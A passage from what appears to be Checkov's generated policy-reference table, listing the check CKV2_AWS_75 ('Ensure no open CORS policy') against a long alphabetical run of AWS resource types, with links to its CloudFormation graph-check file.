Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1573 | CKV2_AWS_75 | resource | aws_transfer_connector | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1574 | CKV2_AWS_75 | resource | aws_transfer_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1575 | CKV2_AWS_75 | resource | aws_transfer_server | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1576 | CKV2_AWS_75 | resource | aws_transfer_ssh_key | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1577 | CKV2_AWS_75 | resource | aws_transfer_tag | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1578 | CKV2_AWS_75 | resource | aws_transfer_user | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1579 | CKV2_AWS_75 | resource | aws_transfer_workflow | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1580 | CKV2_AWS_75 | resource | aws_verifiedaccess_endpoint | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1581 | CKV2_AWS_75 | resource | aws_verifiedaccess_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1582 | CKV2_AWS_75 | resource | aws_verifiedaccess_instance | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1583 | CKV2_AWS_75 | resource | aws_verifiedaccess_instance_logging_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1584 | CKV2_AWS_75 | resource | aws_verifiedaccess_instance_trust_provider_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1585 | CKV2_AWS_75 | resource | aws_verifiedaccess_trust_provider | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1586 | CKV2_AWS_75 | resource | aws_verifiedpermissions_identity_source | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1587 | CKV2_AWS_75 | resource | aws_verifiedpermissions_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1588 | CKV2_AWS_75 | resource | aws_verifiedpermissions_policy_store | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1589 | CKV2_AWS_75 | resource | aws_verifiedpermissions_policy_template | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1590 | CKV2_AWS_75 | resource | aws_verifiedpermissions_schema | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1591 | CKV2_AWS_75 | resource | aws_volume_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1592 | CKV2_AWS_75 | resource | aws_vpc | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1593 | CKV2_AWS_75 | resource | aws_vpc_block_public_access_exclusion | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1594 | CKV2_AWS_75 | resource | aws_vpc_block_public_access_options | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1595 | CKV2_AWS_75 | resource | aws_vpc_dhcp_options | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1596 | CKV2_AWS_75 | resource | aws_vpc_dhcp_options_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1597 | CKV2_AWS_75 | resource | aws_vpc_endpoint | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1598 | CKV2_AWS_75 | resource | aws_vpc_endpoint_connection_accepter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1599 | CKV2_AWS_75 | resource | aws_vpc_endpoint_connection_notification | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1600 | CKV2_AWS_75 | resource | aws_vpc_endpoint_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1601 | CKV2_AWS_75 | resource | aws_vpc_endpoint_private_dns | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1602 | CKV2_AWS_75 | resource | aws_vpc_endpoint_route_table_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1603 | CKV2_AWS_75 | resource | aws_vpc_endpoint_security_group_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1604 | CKV2_AWS_75 | resource | aws_vpc_endpoint_service | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1605 | CKV2_AWS_75 | resource | aws_vpc_endpoint_service_allowed_principal | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1606 | CKV2_AWS_75 | resource | aws_vpc_endpoint_service_private_dns_verification | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1607 | CKV2_AWS_75 | resource | aws_vpc_endpoint_subnet_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1608 | CKV2_AWS_75 | resource | aws_vpc_ipam | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1609 | CKV2_AWS_75 | resource | aws_vpc_ipam_organization_admin_account | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1610 | CKV2_AWS_75 | resource | aws_vpc_ipam_pool | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1611 | CKV2_AWS_75 | resource | aws_vpc_ipam_pool_cidr | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1612 | CKV2_AWS_75 | resource | aws_vpc_ipam_pool_cidr_allocation | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1613 | CKV2_AWS_75 | resource | aws_vpc_ipam_preview_next_cidr | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1614 | CKV2_AWS_75 | resource | aws_vpc_ipam_resource_discovery | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1615 | CKV2_AWS_75 | resource | aws_vpc_ipam_resource_discovery_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1616 | CKV2_AWS_75 | resource | aws_vpc_ipam_scope | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1617 | CKV2_AWS_75 | resource | aws_vpc_ipv4_cidr_block_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1618 | CKV2_AWS_75 | resource | aws_vpc_ipv6_cidr_block_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1619 | CKV2_AWS_75 | resource | aws_vpc_network_performance_metric_subscription | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1620 | CKV2_AWS_75 | resource | aws_vpc_peering_connection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1621 | CKV2_AWS_75 | resource | aws_vpc_peering_connection_accepter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1622 | CKV2_AWS_75 | resource | aws_vpc_peering_connection_options | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1623 | CKV2_AWS_75 | resource | aws_vpc_security_group_egress_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1624 | CKV2_AWS_75 | resource | aws_vpc_security_group_ingress_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1625 | CKV2_AWS_75 | resource | aws_vpc_security_group_vpc_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1626 | CKV2_AWS_75 | resource | aws_vpclattice_access_log_subscription | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1627 | CKV2_AWS_75 | resource | aws_vpclattice_auth_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1628 | CKV2_AWS_75 | resource | aws_vpclattice_listener | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1629 | CKV2_AWS_75 | resource | aws_vpclattice_listener_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1630 | CKV2_AWS_75 | resource | aws_vpclattice_resource_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1631 | CKV2_AWS_75 | resource | aws_vpclattice_resource_gateway | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1632 | CKV2_AWS_75 | resource | aws_vpclattice_resource_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1633 | CKV2_AWS_75 | resource | aws_vpclattice_service | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1634 | CKV2_AWS_75 | resource | aws_vpclattice_service_network | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1635 | CKV2_AWS_75 | resource | aws_vpclattice_service_network_resource_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1636 | CKV2_AWS_75 | resource | aws_vpclattice_service_network_service_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1637 | CKV2_AWS_75 | resource | aws_vpclattice_service_network_vpc_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1638 | CKV2_AWS_75 | resource | aws_vpclattice_target_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1639 | CKV2_AWS_75 | resource | aws_vpclattice_target_group_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1640 | CKV2_AWS_75 | resource | aws_vpn_connection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1641 | CKV2_AWS_75 | resource | aws_vpn_connection_route | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1642 | CKV2_AWS_75 | resource | aws_vpn_gateway | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1643 | CKV2_AWS_75 | resource | aws_vpn_gateway_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1644 | CKV2_AWS_75 | resource | aws_vpn_gateway_route_propagation | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1645 | CKV2_AWS_75 | resource | aws_waf_byte_match_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1646 | CKV2_AWS_75 | resource | aws_waf_geo_match_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1647 | CKV2_AWS_75 | resource | aws_waf_ipset | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1648 | CKV2_AWS_75 | resource | aws_waf_rate_based_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1649 | CKV2_AWS_75 | resource | aws_waf_regex_match_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1650 | CKV2_AWS_75 | resource | aws_waf_regex_pattern_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1651 | CKV2_AWS_75 | resource | aws_waf_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1652 | CKV2_AWS_75 | resource | aws_waf_rule_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1653 | CKV2_AWS_75 | resource | aws_waf_size_constraint_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1654 | CKV2_AWS_75 | resource | aws_waf_sql_injection_match_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1655 | CKV2_AWS_75 | resource | aws_waf_web_acl | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1656 | CKV2_AWS_75 | resource | aws_waf_xss_match_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1657 | CKV2_AWS_75 | resource | aws_wafregional_byte_match_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1658 | CKV2_AWS_75 | resource | aws_wafregional_geo_match_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1659 | CKV2_AWS_75 | resource | aws_wafregional_ipset | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1660 | CKV2_AWS_75 | resource | aws_wafregional_rate_based_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1661 | CKV2_AWS_75 | resource | aws_wafregional_regex_match_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1662 | CKV2_AWS_75 | resource | aws_wafregional_regex_pattern_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1663 | CKV2_AWS_75 | resource | aws_wafregional_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1664 | CKV2_AWS_75 | resource | aws_wafregional_rule_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1665 | CKV2_AWS_75 | resource | aws_wafregional_size_constraint_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1666 | CKV2_AWS_75 | resource | aws_wafregional_sql_injection_match_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1667 | CKV2_AWS_75 | resource | aws_wafregional_web_acl | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1668 | CKV2_AWS_75 | resource | aws_wafregional_web_acl_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1669 | CKV2_AWS_75 | resource | aws_wafregional_xss_match_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1670 | CKV2_AWS_75 | resource | aws_wafv2_ip_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1671 | CKV2_AWS_75 | resource | aws_wafv2_regex_pattern_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1672 | CKV2_AWS_75 | resource | aws_wafv2_rule_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1673 | CKV2_AWS_75 | resource | aws_wafv2_web_acl | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1674 | CKV2_AWS_75 | resource | aws_wafv2_web_acl_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1675 | CKV2_AWS_75 | resource | aws_wafv2_web_acl_logging_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1676 | CKV2_AWS_75 | resource | aws_worklink_fleet | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1677 | CKV2_AWS_75 | resource | aws_worklink_website_certificate_authority_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1678 | CKV2_AWS_75 | resource | aws_workspaces_connection_alias | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1679 | CKV2_AWS_75 | resource | aws_workspaces_directory | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1680 | CKV2_AWS_75 | resource | aws_workspaces_ip_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1681 | CKV2_AWS_75 | resource | aws_workspaces_workspace | Ensure no open CORS policy | Cloudformation | 